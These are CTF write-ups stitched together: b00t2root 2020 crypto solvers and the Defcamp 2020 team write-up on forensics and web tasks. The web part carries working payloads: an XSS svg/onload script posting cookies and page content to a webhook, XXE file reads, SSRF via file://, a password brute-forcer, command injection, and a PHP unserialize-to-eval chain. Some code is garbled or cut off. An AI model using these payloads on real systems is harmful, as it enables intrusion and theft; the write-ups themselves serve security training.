```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# b00t2root 2020 CTF - Crypto Challenges I represent to you my writeups for all Crypto challenges from b00t2root 2020 CTF.![2020-12-07 00_50_28-boot2root](https://user-images.githubusercontent.com/62826765/101377456-215cdc00-38b2-11eb-9146-1ada39a974df.png) ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 1 : _Try try but don't cry_![2020-12-07 17_39_03-boot2root](https://user-images.githubusercontent.com/62826765/101378399-54ec3600-38b3-11eb-9461-bc4896baa4c4.png) We were given a source code :```pythonimport randomdef xor(a,b): l="" for i in range(min(len(a), len(b))): l+=chr(ord(a[i]) ^ ord(b[i])) return l def encrypt(flag): l=random.randrange(2) if(l==0): return flag.encode('base64') elif(l==1): return flag.encode('hex') flag="################"assert(len(flag)==22)c=xor(flag[:11], flag[11:])c=c.encode('hex') n=random.randint(1,20)#print(n) for _ in range(n): c=encrypt(c) f=open('chall.txt', 'w')f.write(c)f.close()```The main problem here is that we don't know when it's Base64 or Hex. So i just wrote a script to decode it manualy by entering H if it's Hex or B if it's Base64, then since i know a part of the flag which is "_b00t2root{}_" with length **11**, I can retrive the flag. **Solver :**```pythonfrom pwn import xorimport base64 cipher = open("chall.txt").read().strip() while len(cipher) != 22: print(cipher) ans = input('> ').strip() if ans == 'H': cipher = bytes.fromhex(cipher).decode() elif ans == 'B': cipher = base64.b64decode(cipher).decode() cipher = bytes.fromhex(cipher).decode()s = b"b00t2root{"s += xor(cipher[-1], '}')t = xor(s, cipher[:len(s)])flag = s+tprint(flag)```![2020-12-07 18_05_58-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101381366-f3c66180-38b6-11eb-91fe-c6b60ddc5f62.png) FLAG is **_b00t2root{fantasticcc}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 2 : _Euler's Empire_![2020-12-07 18_13_22-boot2root](https://user-images.githubusercontent.com/62826765/101382177-f07fa580-38b7-11eb-813d-b948caa5d38d.png) I'll skip this cause it's almost the same challenge as [Time Capsule](https://github.com/pberba/ctf-solutions/blob/master/20190810-crytoctf/crypto-122-time-capsule/time-capsule-solution.ipynb) from Crypto CTF 2019. FLAG is **_b00t2root{Eul3r_w4s_4_G3niu5}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 3 : _007_![2020-12-07 18_29_27-boot2root](https://user-images.githubusercontent.com/62826765/101384040-33db1380-38ba-11eb-9b9c-45e1c41708f9.png) We were given a source code :```pythonimport randomdef rot(s, num): l="" for i in s: if(ord(i) in range(97,97+26)): l+=chr((ord(i)-97+num)%26+97) else: l+=i return l def xor(a, b): return chr(ord(a)^ord(b)) def encrypt(c): cipher = c x=random.randint(1,1000) for i in range(x): cipher = rot(cipher, random.randint(1,26)) cipher = cipher.encode('base64') l = "" for i in range(len(cipher)): l += xor(cipher[i], cipher[(i+1)%len(cipher)]) return l.encode('base64') flag = "#################"print "cipher =", encrypt(flag) #OUTPUT: cipher = MRU2FDcePBQlPwAdVXo5ElN3MDwMNURVDCc9PgwPORJTdzATN2wAN28=```To reverse the xor loop, we have to know the first character of the _cipher_. It should be in [a-z], so with simple bruteforce we can retrieve the correct rotated string. Then we try all rotations from 1 to 26 and get the flag. **Solver :**```pythonimport randomimport base64 def rot(s, num): l="" for i in s: if(ord(i) in range(97,97+26)): l+=chr((ord(i)-97+num)%26+97) else: l+=i return l def xor(a, b): return chr(ord(a)^ord(b)) enc = base64.b64decode("MRU2FDcePBQlPwAdVXo5ElN3MDwMNURVDCc9PgwPORJTdzATN2wAN28=").decode('latin-1') for i in range(97,123): xored = chr(i) j = -1 while j != -len(enc): xored = xor(enc[j],xored[0]) + xored j -= 1 xored = xored[-1] + xored[:-1] try: res = base64.b64decode(xored).decode() for i in range(1, 26): flag = rot(res, i) if "b00t2root{" in flag: print(flag) except: pass``` FLAG is **_b00t2root{Bond. James Bond.}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 4 : _brokenRSA_![2020-12-07 21_55_33-boot2root](https://user-images.githubusercontent.com/62826765/101519634-b7146c00-3983-11eb-9984-0167017a9899.png) We were given a source code :```pythonfrom Crypto.Util.number import *import randome = 4def func(m): while(True): n = getPrime(512) x = pow(m, e, n) if(pow(x, (n-1)//2, n) == 1): return n flag = bytes_to_long(b"############################")n = func(flag)print("n =", n)print("c =", pow(flag, e, n)) # OUTPUT# n = 11183632493295722900188836927564142822637910363304123337597708503476804292242860556684644449701772313571249316546794463854991452685201761786385895405863639# c = 8939043592146774508422725937231398285333145869395369605787177287036646137314173055510198460479672008589091362568215564488685390459997440273900039337645280```We can observe that the modulus ```n``` is a prime number. So since the exponent ```e``` is a power of 2, we can take consecutive square roots to find the eth root.Therefore we will use [Tonelli Shanks Algorithm](https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm) to compute module square roots and convert each one to get the correct flag. **Solver :**```pythonfrom Crypto.Util.number import long_to_bytes n = 11183632493295722900188836927564142822637910363304123337597708503476804292242860556684644449701772313571249316546794463854991452685201761786385895405863639c = 8939043592146774508422725937231398285333145869395369605787177287036646137314173055510198460479672008589091362568215564488685390459997440273900039337645280e = 4 def legendre(a, p): return pow(a, (p - 1) // 2, p) def tonelli(n, p): assert legendre(n, p) == 1, "not a square (mod p)" q = p - 1 s = 0 while q % 2 == 0: q //= 2 s += 1 if s == 1: return pow(n, (p + 1) // 4, p) for z in range(2, p): if p - 1 == legendre(z, p): break c = pow(z, q, p) r = pow(n, (q + 1) // 2, p) t = pow(n, q, p) m = s t2 = 0 while (t - 1) % p != 0: t2 = (t * t) % p for i in range(1, m): if (t2 - 1) % p == 0: break t2 = (t2 * t2) % p b = pow(c, 1 << (m - i - 1), p) r = (r * b) % p c = (b * b) % p t = (t * c) % p m = i return r def find_square_roots(c, e): if e == 1: flag = long_to_bytes(c) if b"b00t2root" in flag: print(flag) return elif pow(c,(n-1)//2,n) != 1: return else: rt1 = tonelli(c, n) find_square_roots(rt1, e//2) rt2 = n - rt1 find_square_roots(rt2, e//2) return find_square_roots(c, e)``` FLAG is **_b00t2root{finally_legendre_symbol_came_in_handy}_** ![2020-12-08 18_37_24-b00t2root-2020-CTF-Crypto-Challenges_README md at main · MehdiBHA_b00t2root-2020](https://user-images.githubusercontent.com/62826765/101520233-79641300-3984-11eb-888f-1ad5c2c6d68c.png) ## Challenge 5 : _The Heist_![2020-12-07 21_55_49-boot2root](https://user-images.githubusercontent.com/62826765/101521105-a36a0500-3985-11eb-9605-65011955feef.png) We were given a netcat server and a source code of the program running on it :```pythonfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad,unpadimport binasciiimport sys key = b"****************"iv = keyflag = "***********************" def encrypt(str1): obj = AES.new(key, AES.MODE_CBC, iv) str1 = pad(str1,16) ciphertext = obj.encrypt(str1) return binascii.hexlify(ciphertext) def decrypt(str2): obj=AES.new(key, AES.MODE_CBC, iv) plaintext=obj.decrypt(str2) return binascii.hexlify(plaintext) s="""1. Enter key and get flag2. Encrypt plaintext3. Decrypt ciphertext Enter option: """ while(True): try: print(s, end='') opt=int(input()) if(opt==1): KEY = input("Enter hex key: ") KEY = binascii.unhexlify(KEY) if(KEY==key): print(flag) break; elif(opt==2): pt = input("Enter hex plaintext: ") pt = pt.encode('utf-8') pt = binascii.unhexlify(pt) print("Ciphertext: ", encrypt(pt).decode('utf-8')) elif(opt==3): ct = input("Enter hex ciphertext: ") ct = ct.encode('utf-8') ct = binascii.unhexlify(ct) print("Plaintext: ", decrypt(ct).decode('utf-8')) else: print("The input should be in between 1 and 3") except: print("Error")```When we connect to the server, it gives us 3 choices : ![2020-12-08 19_18_03-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101524398-28efb400-398a-11eb-8318-1b204380042e.png) The encryption/decryption is based on AES CBC mode. To get the flag we should retrieve the _KEY_. We can see that ```IV = KEY``` so we need to know the value of _IV_ in order to get the _KEY_. Let's do some analysis : Suppose we encrypt a plaintext with 3 blocks (48 bytes) and we get our ciphertext. Now we are going to decrypt it, so the equations for each plaintext block will be :```P1 = D(C1) xor IVP2 = D(C2) xor C1P3 = D(C3) xor C2```When C1 = C3 and C2 is an empty block (which means 16*"\x00"), then :```P1 = D(C1) xor IVP3 = D(C3) xor 0 = D(C3) = D(C1)```So by xoring P1 and P3 we get the _IV_. **Solver :**```pythonfrom pwn import * cipher = "414141414141414141414141414141410000000000000000000000000000000041414141414141414141414141414141" conn = remote("157.230.237.229",2200)conn.recvuntil("Enter option: ")conn.sendline('3')conn.recvuntil("Enter hex ciphertext: ")conn.sendline(cipher) plaintext = conn.recvline().decode().strip().split(' ')[2]plaintext = bytes.fromhex(plaintext)IV = xor(plaintext[0:16],plaintext[32:48]).hex() conn.recvuntil("Enter option: ")conn.sendline('1')conn.recvuntil("Enter hex key: ")conn.sendline(IV) flag = conn.recv().strip().decode()print(flag)```![2020-12-08 19_35_16-Kali - VMware Workstation](https://user-images.githubusercontent.com/62826765/101526169-98ff3980-398c-11eb-9018-cdb00b89c41d.png) FLAG is **_b00t2root{th3y_4r3_g0ing_t0_k1ll_u5}_**
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you 